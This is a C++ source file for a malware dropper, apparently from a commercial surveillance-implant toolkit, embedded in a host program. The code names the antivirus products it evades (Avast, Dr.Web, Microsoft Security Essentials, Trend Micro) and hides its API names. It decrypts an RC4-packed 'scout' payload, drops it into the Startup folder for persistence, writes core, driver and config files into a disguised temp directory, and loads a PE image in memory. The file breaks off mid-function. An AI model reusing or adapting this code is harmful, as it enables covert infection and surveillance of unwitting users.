RCSDropper/DropperCode.cpp
#include <windows.h>
#include <Shlobj.h>
#include "DropperCode.h"
#include "depack.h"
#include "macro.h"
#include "reloc.h"
#pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"!
#pragma code_seg(".extcd") // *** Lets put all functions in a separated code segment
typedef PWCHAR (__cdecl *MYCONF)(PULONG uWinMain);
typedef void (*ARCFOUR)(const unsigned char *key,
size_t keylen,
size_t skip,
unsigned char *data,
size_t data_len,
PMY_DATA pData);
__forceinline ULONG ldr_exportdir(HMODULE hModule);
__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData);
typedef struct base_relocation_block
{
DWORD PageRVA;
DWORD BlockSize;
} base_relocation_block_t;
typedef struct base_relocation_entry
{
WORD offset : 12;
WORD type : 4;
} base_relocation_entry_t;
int __stdcall DropperEntryPoint()
{
DWORD dwCurrentAddr = 0;
DWORD OEP = 0;
// bypass AVAST emulation (SuspBehav-B static detection)
for (int i = 0; i < 1000; i+=4)
i -= 2;
// Get current EIP in dwCurrentAddr
__asm {
call lbl_ref1
lbl_ref1:
pop dwCurrentAddr
}
// *** Find the ending marker of data section <E> - ASM because of Dr.Web :)
while(1)
{
__asm
{
mov ecx, [dwCurrentAddr]
magicloop:
sub ecx, 1
mov edx, [ecx]
mov ebx, edx
and ebx, 0xffff0000
and edx, 0x0000ffff
cmp edx, 0x453c
jne magicloop
nop
cmp ebx, 0x003e0000
jne magicloop
mov [dwCurrentAddr], ecx
jmp endmagicloop
}
}
endmagicloop:
// *** Total size of data section
dwCurrentAddr -= sizeof(DWORD);
DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr));
// *** Pointer to data section header
DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize);
// *** Resolve API
LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
CHAR strShlwapi[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', 0x0 };
CHAR strShell32[] = { 'S', 'h', 'e', 'l', 'l', '3', '2', 0x0 };
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
CHAR strVirtualFree[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0x0 };
CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 };
CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 };
CHAR strGetModuleFileName[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'F', 'i', 'l', 'e', 'N', 'a', 'm', 'e', 'A', 0x0 };
CHAR strGetModuleHandleA[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 'A', 0x0 };
CHAR strCreateThread[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 };
CHAR strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o' , 'c', 'e', 's', 's', 0x0 };
CHAR strGetEnvironmentVariableA[] = { 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A', 0x0 };
CHAR strPathRemoveFileSpecA[] = { 'P', 'a', 't', 'h', 'R', 'e', 'm', 'o', 'v', 'e', 'F', 'i', 'l', 'e', 'S', 'p', 'e', 'c', 'A', 0x0 };
CHAR strGetFileAttributesA[] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 };
CHAR strSetFileAttributesA[] = { 'S', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 };
CHAR strCreateDirectoryA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 };
CHAR strGetLastError[] = { 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r', 0x0 };
CHAR strSetCurrentDirectoryA[] = { 'S', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 };
CHAR strCreateFileA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 };
CHAR strCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 };
CHAR strWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 };
CHAR strCloseHandle[] = { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 };
CHAR strSHGetSpecialFolderPathW[] = { 'S', 'H', 'G', 'e', 't', 'S', 'p', 'e', 'c', 'i', 'a', 'l', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x0 };
CHAR strGetShortPathNameW[] = { 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 };
CHAR strPathAddBackslashW[] = { 'P', 'a', 't', 'h', 'A', 'd', 'd', 'B', 'a', 'c', 'k', 's', 'l', 'a', 's', 'h', 'W', 0x0 };
CHAR strPathAppendW[] = { 'P', 'a', 't', 'h', 'A', 'p', 'p', 'e', 'n', 'd', 'W', 0x0 };
CHAR strExitThread[] = { 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 };
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc);
VIRTUALFREE pfn_VirtualFree = (VIRTUALFREE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualFree);
VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect);
GETMODULEFILENAME pfn_GetModuleFileNameA = (GETMODULEFILENAME) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleFileName);
GETMODULEHANDLE pfn_GetModuleHandleA = (GETMODULEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleHandleA);
VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery);
CREATETHREAD pfn_CreateThread = (CREATETHREAD) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateThread);
GETENVIRONMENTVARIABLE pfn_GetEnvironmentVariableA = (GETENVIRONMENTVARIABLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetEnvironmentVariableA);
PATHREMOVEFILESPEC pfn_PathRemoveFileSpecA = (PATHREMOVEFILESPEC) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathRemoveFileSpecA);
GETFILEATTRIBUTESA pfn_GetFileAttributesA = (GETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetFileAttributesA);
SETFILEATTRIBUTESA pfn_SetFileAttributesA = (SETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetFileAttributesA);
CREATEDIRECTORY pfn_CreateDirectoryA = (CREATEDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateDirectoryA);
GETLASTERROR pfn_GetLastError = (GETLASTERROR) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetLastError);
SETCURRENTDIRECTORY pfn_SetCurrentDirectoryA = (SETCURRENTDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetCurrentDirectoryA);
CREATEFILEA pfn_CreateFileA = (CREATEFILEA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileA);
CREATEFILEW pfn_CreateFileW = (CREATEFILEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileW);
WRITEFILE pfn_WriteFile = (WRITEFILE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strWriteFile);
CLOSEHANDLE pfn_CloseHandle = (CLOSEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCloseHandle);
SHGETFOLDERW pfn_SHGetSpecialFolderPathW = (SHGETFOLDERW) pfn_GetProcAddress(pfn_LoadLibrary(strShell32), strSHGetSpecialFolderPathW);
GETSHORTPATHNAMEW pfn_GetShortPathNameW = (GETSHORTPATHNAMEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetShortPathNameW);
PATHADDBACKSLASHW pfn_PathAddBackslashW = (PATHADDBACKSLASHW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAddBackslashW);
PATHAPPENDW pfn_PathAppendW = (PATHAPPENDW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAppendW);
PMY_DATA pData = (PMY_DATA) pfn_VirtualAlloc(NULL, sizeof(MY_DATA), MEM_COMMIT, PAGE_READWRITE);
pData->LoadLibraryA = pfn_LoadLibrary;
pData->GetProcAddress = pfn_GetProcAddress;
pData->VirtualAlloc = pfn_VirtualAlloc;
pData->VirtualFree = pfn_VirtualFree;
pData->VirtualProtect = pfn_VirtualProtect;
pData->VirtualQuery = pfn_VirtualQuery;
pData->GetModuleFileNameA = pfn_GetModuleFileNameA;
pData->GetModuleHandleA = pfn_GetModuleHandleA;
pData->CreateThread = pfn_CreateThread;
pData->GetEnvironmentVariableA = pfn_GetEnvironmentVariableA;
pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA;
pData->GetFileAttributesA = pfn_GetFileAttributesA;
pData->CreateDirectoryA = pfn_CreateDirectoryA;
pData->GetLastError = pfn_GetLastError;
pData->SetCurrentDirectoryA = pfn_SetCurrentDirectoryA;
pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA;
pData->SetFileAttributesA = pfn_SetFileAttributesA;
pData->CreateFileA = pfn_CreateFileA;
pData->CreateFileW = pfn_CreateFileW;
pData->WriteFile = pfn_WriteFile;
pData->CloseHandle = pfn_CloseHandle;
pData->SHGetSpecialFolderPathW = pfn_SHGetSpecialFolderPathW;
pData->GetShortPathNameW = pfn_GetShortPathNameW;
pData->PathAddBackslashW = pfn_PathAddBackslashW;
pData->PathAppendW = pfn_PathAppendW;
pData->header = header;
// *** Resolve API END
// *** Check for Microsoft Security Essential emulation
LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
pData->GetModuleFileNameA(NULL, fName, MAX_PATH);
DWORD prgLen = _STRLEN_(fName);
// x86
char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 };
for(DWORD i=0; i<prgLen; i++)
if(!_STRCMP_(fName+i, x86MspEng))
goto OEP_CALL;
// x64
char x64MspEng[12] = { ':', '\\', 'm', 'y', 'a', 'p', 'p', '.', 'e', 'x', 'e', 0x0 };
if(!_STRCMP_(&fName[1], x64MspEng))
goto OEP_CALL;
pData->VirtualFree(fName, 0, MEM_RELEASE);
// *** MSE emulation END
// FIX INSTALLERS & STUFF
FixInstallers(pData);
//
// *** Hook ExitProcess the lame way
/*
ULONG uOldProtect;
MEMORY_BASIC_INFORMATION mbi;
ULONG uHookAddress = (ULONG)((PBYTE)header + header->functions.exitProcessHook.offset);
LPVOID pBaseAddress = pData->GetModuleHandleA(NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
PIMAGE_NT_HEADERS32 pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew);
HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)header) + header->functions.hookIAT.offset);
pfn_HookIAT(strKernel32,
strExitProcess,
//(DWORD)pExitProcessAddr,
(DWORD)uHookAddress,
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
(DWORD)pBaseAddress,
pData);
// this is used to notify the ExitProcess hook that we can exit the process,
// so it must be writable
pfn_VirtualProtect(&header->synchro, 4096, PAGE_READWRITE, &uOldProtect);
// this is used to hold the dll path for CoreThreadProc
pfn_VirtualProtect(&header->dllPath, 4096, PAGE_READWRITE, &uOldProtect);
// exit hook
pfn_VirtualProtect(((PBYTE)header + header->functions.exitProcessHook.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect);
*/
if (header->isScout)
{
// extract scout
PBYTE pPackedScoutBuffer = (PBYTE)pData->VirtualAlloc(NULL, header->files.core.size, MEM_COMMIT, PAGE_READWRITE);
_MEMCPY_(pPackedScoutBuffer, (PBYTE)header + header->files.core.offset, header->files.core.size);
ARCFOUR pfn_rc4skip = (ARCFOUR) (((char*)header) + header->functions.rc4.offset);
pfn_rc4skip((PBYTE)header->rc4key, 64, 0, pPackedScoutBuffer, header->files.core.size, pData);
//PBYTE pScoutBuffer = (PBYTE) pData->VirtualAlloc(NULL, header->files.core.original_size, MEM_COMMIT, PAGE_READWRITE);
//if (aP_depack(pPackedScoutBuffer, pScoutBuffer) != header->files.core.original_size)
// goto OEP_RESTORE;
//pData->VirtualFree(pPackedScoutBuffer, 0, MEM_RELEASE);
// ** save buffer & size
pData->pScoutBuffer = pPackedScoutBuffer;
pData->pScoutSize = header->files.core.original_size;
//pfn_VirtualProtect(((PBYTE)header + header->functions.load.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect);
// *** start the scout
//HANDLE hThread = pData->CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ((PBYTE)header + header->functions.load.offset), pData, 0, NULL);
LPWSTR strTempPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
LPWSTR strScoutPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
_MEMSET_(strScoutPath, 0x0, 32768*sizeof(WCHAR));
pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE);
pData->GetShortPathNameW(strTempPath, strScoutPath, 32767);
pData->VirtualFree(strTempPath, 0, MEM_RELEASE);
strTempPath = strScoutPath;
while (*strTempPath != 0x0)
strTempPath++;
*strTempPath = L'\\';
strTempPath++;
DWORD x, y;
x = y = 0;
while (header->eliteExports[x] != 0)
{
((PCHAR)strTempPath)[y] = header->eliteExports[x];
y++;
((PCHAR)strTempPath)[y] = 0x0;
x++;
y++;
}
strTempPath[x] = L'.';
strTempPath[x+1] = L'e';
strTempPath[x+2] = L'x';
strTempPath[x+3] = L'e';
HANDLE hScoutFile = pData->CreateFileW(strScoutPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hScoutFile != INVALID_HANDLE_VALUE)
{
pData->WriteFile(hScoutFile, pData->pScoutBuffer, pData->pScoutSize, &x, NULL);
pData->CloseHandle(hScoutFile);
}
}
else
{
CHAR pSep[] = { '\\', 0x0 };
CHAR pTmp[] = { 'T', 'M', 'P', 0x0};
CHAR pSubDir[] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', 0x0 };
LPSTR pTmpDir = (LPSTR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE);
_ZEROMEM_(pTmpDir, 32767);
pData->GetEnvironmentVariableA(pTmp, pTmpDir, MAX_PATH);
pData->PathRemoveFileSpecA(pTmpDir);
_STRCAT_(pTmpDir, pSep);
_STRCAT_(pTmpDir, pSubDir);
/* check if subdir Microsoft exists if not, then create it. */
DWORD FileAttributes = pData->GetFileAttributesA(pTmpDir);
if (FileAttributes == INVALID_FILE_ATTRIBUTES || !(FileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
DWORD bRet = pData->CreateDirectoryA(pTmpDir, NULL);
if (!bRet)
if (pData->GetLastError() != ERROR_ALREADY_EXISTS) // non-sense but.. whatever.
{
pData->VirtualFree(pTmpDir, 0, MEM_RELEASE);
goto OEP_RESTORE;
}
}
//FIXME: get short name!!
_STRCAT_(pTmpDir, pSep);
_STRCAT_(pTmpDir, pData->header->instDir);
_STRCAT_(pTmpDir, pSep);
BOOL bRet = pData->CreateDirectoryA(pTmpDir, NULL);
if (!bRet)
{
if (pData->GetLastError() != ERROR_ALREADY_EXISTS)
{
pData->VirtualFree(pTmpDir, 0, MEM_RELEASE);
goto OEP_RESTORE;
}
}
pData->SetCurrentDirectoryA(pTmpDir);
_STRCAT_(pTmpDir, (PCHAR)(((PCHAR)header) + header->files.names.core.offset));
pData->header->dllPath = pTmpDir;
DUMPFILE pfn_DumpFile = (DUMPFILE) (((PCHAR)header) + header->functions.dumpFile.offset);
// CORE
if (header->files.core.offset != 0 && header->files.core.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset);
DWORD size = header->files.core.size;
DWORD originalSize = header->files.core.original_size;
BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData);
if (ret == FALSE)
goto OEP_RESTORE;
}
else
goto OEP_RESTORE;
// CORE (64 bit)
if (header->files.core64.offset != 0 && header->files.core64.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core64.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core64.offset);
DWORD size = header->files.core64.size;
DWORD originalSize = header->files.core64.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
}
// CONFIG
if (header->files.config.offset != 0 && header->files.config.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.config.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.config.offset);
DWORD size = header->files.config.size;
DWORD originalSize = header->files.config.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
if (ret == FALSE)
goto OEP_RESTORE;
}
// DRIVER
if (header->files.driver.offset != 0 && header->files.driver.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver.offset);
DWORD size = header->files.driver.size;
DWORD originalSize = header->files.driver.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
}
// DRIVER (64 bit)
if (header->files.driver64.offset != 0 && header->files.driver64.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver64.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver64.offset);
DWORD size = header->files.driver64.size;
DWORD originalSize = header->files.driver64.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
}
// CODEC
if (header->files.codec.offset != 0 && header->files.codec.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.codec.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.codec.offset);
DWORD size = header->files.codec.size;
DWORD originalSize = header->files.codec.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
}
/*
// BITMAP(DEMO)
if (header->files.bitmap.offset != 0 && header->files.bitmap.size != 0)
{
PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.bitmap.offset);
PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.bitmap.offset);
DWORD size = header->files.bitmap.size;
DWORD originalSize = header->files.bitmap.original_size;
BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
}
*/
DWORD oldProtect;
THREADPROC pfn_CoreThreadProc = (THREADPROC)(((char*)header) + header->functions.coreThread.offset);
pData->VirtualProtect(pfn_CoreThreadProc, (UINT_PTR)CoreThreadProc_End - (UINT_PTR)CoreThreadProc, PAGE_EXECUTE_READWRITE, &oldProtect);
pfn_CreateThread(NULL, 0, pfn_CoreThreadProc, pData, 0, NULL);
}
OEP_RESTORE:
// *** restore the original code
if (header->stage1.size)
{
PBYTE pCode = (PBYTE) (((PBYTE)header) + header->stage1.offset);
size_t size = header->stage1.size;
DWORD oldProtect;
pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, PAGE_EXECUTE_READWRITE, &oldProtect);
_MEMCPY_((LPVOID)header->stage1.VA, pCode, size);
pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, oldProtect, &oldProtect);
}
return TRUE;
OEP_CALL:
return FALSE;
}
FUNCTION_END(DropperEntryPoint);
LPVOID WINAPI MemoryLoader(LPVOID pDataBuffer)
{
ULONG uSize;
LPVOID lpRawBuffer;
DWORD header_size = 0;
LPVOID lpAddress = NULL;
IMAGE_DOS_HEADER dos_header;
IMAGE_NT_HEADERS32 pe_header;
PMY_DATA pData = (PMY_DATA)pDataBuffer;
_MEMSET_(&dos_header, 0x0, sizeof(dos_header));
_MEMSET_(&pe_header, 0x0, sizeof(dos_header));
lpRawBuffer = pData->pScoutBuffer;
uSize = pData->pScoutSize;
if (lpRawBuffer != NULL)
{
_MEMCPY_(&dos_header, lpRawBuffer, sizeof(dos_header));
if (dos_header.e_magic != IMAGE_DOS_SIGNATURE || dos_header.e_lfanew == 0)
return lpAddress;
_MEMCPY_(&pe_header, CALC_OFFSET(LPVOID, lpRawBuffer, dos_header.e_lfanew), sizeof(pe_header));
if (pe_header.Signature != IMAGE_NT_SIGNATURE)
return lpAddress;
lpAddress = pData->VirtualAlloc(NULL, pe_header.OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
if (lpAddress == NULL)
return lpAddress;
header_size = dos_header.e_lfanew +
pe_header.FileHeader.SizeOfOptionalHeader +
sizeof(pe_header.FileHeader) + 4;
IMAGE_SECTION_HEADER section;
LPVOID lpBufferPtr = CALC_OFFSET(LPVOID, lpRawBuffer, header_size);
_MEMCPY_(§ion, lpBufferPtr, sizeof(section));
_MEMCPY_(lpAddress, lpRawBuffer, section.PointerToRawData);
PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);
for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
{
LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
_MEMCPY_(lpSectionBuffer, CALC_OFFSET(LPVOID, lpRawBuffer, sections->PointerToRawData), sections->SizeOfRawData);
}
}
DWORD ignore = 0;
ldr_reloc(lpAddress, &pe_header);
ldr_importdir((HMODULE) lpAddress, &pe_header, pData);
MYCONF MyConf = (MYCONF)ldr_exportdir((HMODULE) lpAddress);
PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);
for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
{
LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
if ((sections->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE)
pData->VirtualProtect(lpSectionBuffer, sections->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &ignore);
}
pData->VirtualProtect(lpAddress, header_size, PAGE_READONLY, &ignore);
// questo comunica allo scout che sta girando in un meltato e gli passa
// un puntatore a synchro che viene usata dalla hook di ExitProcess per sapere
// quando si puo' uscire
MAIN ptrMain = (MAIN)CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);
//ptrMain((HINSTANCE)0x600db4b3, NULL, "", 0xa);
PWCHAR pScoutName = MyConf(&pData->header->synchro);
// drop scout into startup folder
PWCHAR pTempStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
pData->SHGetSpecialFolderPathW(NULL, pTempStartupPath, CSIDL_STARTUP, TRUE);
PWCHAR pStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
pData->GetShortPathNameW(pTempStartupPath, pStartupPath, 32767);
pData->VirtualFree(pTempStartupPath, 0, MEM_RELEASE);
ULONG uScoutNameLen = _STRLENW_(pScoutName);
WCHAR strExe[] = { L'.', L'e', L'x', L'e', L'\0' };
PWCHAR pExeName = (PWCHAR) pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
_MEMCPY_(pExeName, pScoutName, uScoutNameLen);
_MEMCPY_(((PBYTE)pExeName) + uScoutNameLen, strExe, _STRLENW_(strExe));
pData->PathAddBackslashW(pStartupPath);
pData->PathAppendW(pStartupPath, pExeName);
HANDLE hFile = pData->CreateFileW(pStartupPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile)
{
ULONG uWritten = 0;
pData->WriteFile(hFile, lpRawBuffer, uSize, &uWritten, NULL);
//pData->CloseHandle(hFile); // Non chiude l' handle cosi' Trendmicro nn s'incazza
}
pData->VirtualFree(pStartupPath, 0, MEM_RELEASE);
// MAIN MAIN
ptrMain((HINSTANCE)lpAddress, NULL, "", 0xa);
// not reached
return CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);
}
FUNCTION_END(MemoryLoader);
/*
__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData)
{
DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// no import directory here!
if (dwIatAddr == 0)
return;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr);
while(pImportDescriptor)
{
if (pImportDescriptor->FirstThunk == 0)
{
pImportDescriptor = NULL;
continue;
}
LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk);
LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name);
HMODULE hMod = pData->LoadLibraryA(lpModName);
if (hMod != NULL)
while(*pImportLookupTable != 0x00)
{
if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)
{
DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff;
*pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue);
}
else
{
LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2); // adding two bytes
*pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, lpProcName);
}
pImportLookupTable++;
}
pImportDescriptor++;
}
}
*/
__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData)
{
DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// no import directory here!
if (dwIatAddr == 0)
return;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr);
while(pImportDescriptor->Characteristics != 0)
{
LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->Characteristics);
LPDWORD pIATRVA = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk);
LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name);
HMODULE hMod = pData->LoadLibraryA(lpModName);
if (hMod != NULL)
while(*pImportLookupTable != 0x00)
{
if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)
{
DWORD pOrdinalValue = *pImportLookupTable & 0x0ffff;
*pIATRVA = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue);
}
else
{
LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2); // adding two bytes
*pIATRVA = (DWORD) pData->GetProcAddress(hMod, lpProcName);
}
pIATRVA++;
pImportLookupTable++;
}
pImportDescriptor++;
}
}
__forceinline ULONG ldr_exportdir(HMODULE hModule)
{
ULONG pFunction = NULL;
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule;
PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew);
